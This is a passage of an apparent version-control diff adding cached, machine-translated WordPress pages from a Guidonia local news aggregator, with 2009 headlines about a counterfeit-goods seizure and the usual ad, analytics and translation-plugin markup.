+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6287' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6287&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6287&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6287&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6287&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6287&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6287&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6287&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6287&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6287&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6287&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6287&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6287&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6287&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="Suscribirse a este contenido"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6287&lang=es" >Blog Noticias rÃ¡pidas</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/#39;anoche), el PDL de la Ciudad del Consejero y miembro del ComitÃ© de Seguridad, Ludovico Todini dijo que &quot;Primavalle, Guidonia Ardeatina y asÃ­ la lista sigue de violaciones a diario cuyas vÃ­ctimas se ... Etiquetas: Louis Primavalle Todini Guidonia factores [...]"">Comune di Roma - Todini (PDL): las violaciones, la medida o &#39;llena</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - La lÃ­nea de ferrocarril de la &quot;outcastes&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL Roma G: PrevenciÃ³n y Seguridad en el Trabajo</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Mujer muertos por un rayo en Lazio</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Aquila, casas sin cemento. AquÃ­ estÃ¡ la prueba. &quot; Desplazado, Enzo Cappucci, habÃ­an cavado en los escombros en la regiÃ³n de Abruzzo y ha encontrado pruebas de ligereza, la falta de controles, la negligencia criminal con la que muchas casas fueron construidas. La ... Etiquetas: enzo gorras Abruzzo RaiNews24 rai roma un [...]"">Rai en el cemento</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;en onda&#39;&#39;L&#39;Aquila, casas sin cemento. AquÃ­ estÃ¡ la prueba&#39;&#39;. El enviado de Rainews24, Enzo Cappucci, habÃ­an cavado en los escombros en la regiÃ³n de Abruzzo y ha encontrado pruebas de ligereza, la falta de controles, la negligencia criminal con la que muchas casas fueron ... Etiquetas: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, casas sin cemento&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">Armados con pistola robaron antiguo en el hotel</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">Por las suscripciones a 23 de julio regionales C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">La gestiÃ³n del dolor postoperatorio gana &quot;y el rock &#39;tramo&#39; e. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Las mujeres y la democracia.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Miedo, mentiras y &quot;mito&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;poblaciÃ³n&#39; demandas ... Etiquetas: poder Circeo casa donatella exposiciones con [...]"">Las mujeres y la democracia.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;poblaciÃ³n&#39; demandas ... Etiquetas: poder Circeo casa donatella exposiciones con [...]"">Miedo, mentiras y &quot;mito&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformadores se estrena el jueves 25 de junio son el cine</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html#39;solitarios&#39; Antonio Lombardi affannosa es la reconstrucciÃ³n, aquÃ­ estÃ¡ la primera cruz clavija. Con una rueda de prensa de la prensa y siempre a tiempo, apareciÃ³ en el sitio del club de la granada, acompaÃ±ada de las habituales explicaciones de la rito, es ahora oficialmente una nota de prensa ... Etiquetas: Luca Fusco gÃ©novas Rozzano Tommaso Berna [...]"">Salernitana: Diesse Acri, Fabiani digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">Elecciones, Guidonia Fuente Nueva y del centro</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=es" >GuidoniaPuntoNet (en curso).</a> Enlace: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">Elecciones en lÃ­nea</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="EstadÃ­sticas del Sitio" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="EstadÃ­sticas del Sitio"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 1.746 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 09:54:07 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/fr/_wp__p=6288&lang=fr
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/fr/_wp__p=6288&lang=fr	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/fr/_wp__p=6288&lang=fr	(revision 44)
@@ -0,0 +1,72 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6288 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Gdf, grande saisie de marchandises pour 20 millions - Il Sole 24 Ore - GuidoniaPuntoNet (en cours) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (en cours) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6288&rurl=translate.google.com&lang=it&usg=ALkJrhhN_flG2votK3l010HsuMhx9EoopQ" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="dÃ©faut" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="rose" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="vert" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="pourpre" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="rouge" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="bleu" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (en cours) &quot;gdf, grande saisie de marchandises pour 20 millions - Il Sole 24 Ore Feed commentaires" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (en cours)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia dans WebTv" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="Blitz du bÃ¢timent sur les chantiers de construction: 32 personnes arrÃªtÃ©es - il Giornale" href=http://www.guidonia.net/wp/?p=6287 /><link rel=next title="Guardia di Finanza. Ont pris la capitale de 3 millions de piÃšces, ... - de l&#39;Ouest" href=http://www.guidonia.net/wp/?p=6289 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=fr" >GuidoniaPuntoNet (en cours)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=fr" >Accueil</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=fr" >Ã propos de</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=fr" >Contacts</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="recherche" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6288><h2> <span  > <a href="http://www.guidonia.net/wp?p=6288&lang=fr" >Gdf, grande saisie de marchandises pour 20 millions - Il Sole 24 Ore</a></span> </h2><p class=meta-header> <span  > ReÃ§u le 03 Juillet, 2009 Ã  <a href="http://www.guidonia.net/wp?cat=1&lang=fr" >Guidonia News</a> par admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top> <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.leggonline.it/articolo.php?id=22339&usg=AFQjCNHEG9N8i1QJmeqAEyEByrETW-Kv8A"><font style=font-size:85%;font-family:arial,sans-serif><img src=http://nt1.ggpht.com/news/tbn/TeSdlT0cc62eQM/0.jpg alt="" border=1 width=80 height=80 /><br /></font></a> <span  > <font size=-2><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.leggonline.it/articolo.php?id=22339&usg=AFQjCNHEG9N8i1QJmeqAEyEByrETW-Kv8A"><font style=font-size:85%;font-family:arial,sans-serif>En ligne</font></a></font></span> </td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?DocRulesView=Libero&fd=R&sa=T&url=http://www.ilsole24ore.com/art/SoleOnLine4/Italia/2009/07/gdf-operazione-anti-contraffazione-cinesi.shtml?uuid=ba99858c-67b1-11de-bb24-784de86f3209&usg=AFQjCNE1JGpu-wnJ9FGmix1nbU4GEJc95Q">Gdf, grande saisie de marchandises pour 20 millions de</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>Il Sole 24 Ore</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> UtilisÃ© pour l&#39;introduction de contrefaÃ§ons en Italie, ont Ã©tÃ© recensÃ©s 17 dÃ©pÃŽts dans les domaines de l&#39;Orient et de <b>Guidonia Montecelio Rome. ...</b></font></span> <br /> <span  > <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363649&usg=AFQjCNHRBjcCVrfDM6GZyFiVGJnd6N_9Ww"><font size=-1>La contrefaÃ§on, retirÃ© 3 millions de piÃšces</font></a> de <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363649&usg=AFQjCNHRBjcCVrfDM6GZyFiVGJnd6N_9Ww">&quot;fausses&quot; allÃ©gations <b>...</b></a> <nobr><font size=-1 color=#6f6f6f>le journal</font></nobr></font></span> <br /> <span  > <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.apcom.net/newscronaca/20090703_075900_10880bf_65395.html&usg=AFQjCNG4dOURDr4FGElpVs3uWSs3tn5a4Q">Rome, maxi-opÃ©ration anti-GDF: 1 arrestation</a> <nobr><font size=-1 color=#6f6f6f>APCOM</font></nobr></font></span> <br /> <span  > <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.libero-news.it/adnkronos/view/148279&usg=AFQjCNHvVam7zihY5jX090CDBHQccnTHkg">ROME: GDF FIXATION 3 millions d&#39;articles, une arrestation et <b>...</b></a> <nobr><font size=-1 color=#6f6f6f>Free-News.it</font></nobr></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=do9DR3p8ecvCfYMcwzdWNoypVvRvM"><font class=p size=-1><b>Toutes les actualitÃ©s (12)</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > Laissez une rÃ©ponse</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6288#respond style=display:none;&lang=fr" ><small>Cliquez ici pour annuler la rÃ©ponse.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>Nom (requis)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Mail (ne sera pas publiÃ©) (requis)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Site</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>Commentaires</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="Envoyer un commentaire" class=box /><input type=hidden name=comment_post_ID value=6288 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet:</b> des <b>idÃ©es pour le web</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>IdÃ©es Ã  la recherche de financement: <a href=mailto:info@guidonia.net>nous contacter</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > Vous pouvez rester DerniÃšre mise via <a href="http://www.guidonia.net/wp?feed=rss2&lang=fr" >rss feed.</a></span> </div><div class=col><div class=box><h3> <span  > VidÃ©os Ã  propos de Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6288# onclick=&lang=fr" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=ZfJS2HFZFrI&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DZfJS2HFZFrI%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="AS ROMA MarchÃ©: Toro, avec l&#39;axe Rome" src=http://i.ytimg.com/vi/ZfJS2HFZFrI/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > de l&#39;attaque en cas de dÃ©part de Mic ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6288# onclick=&lang=fr" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, ad.</span> <span  > Viale Roma et la gare de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6288# onclick=&lang=fr" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Words and Sounds Days - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Les morceaux de la lÃ©gende d&#39;un concert de Guidonia Moro ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6288# onclick=&lang=fr" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Les morceaux de la lÃ©gende d&#39;un concert de Guidonia Moro ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6288# onclick=&lang=fr" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - The Meaning Of Everything Is - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Les morceaux de la lÃ©gende d&#39;un concert de Guidonia Moro ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Petites annonces</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div><div class=col2><div class=box><h3> <span  > Translator</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6288' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6288&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6288&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6288&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6288&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6288&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6288&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6288&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6288&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6288&lang=ro' 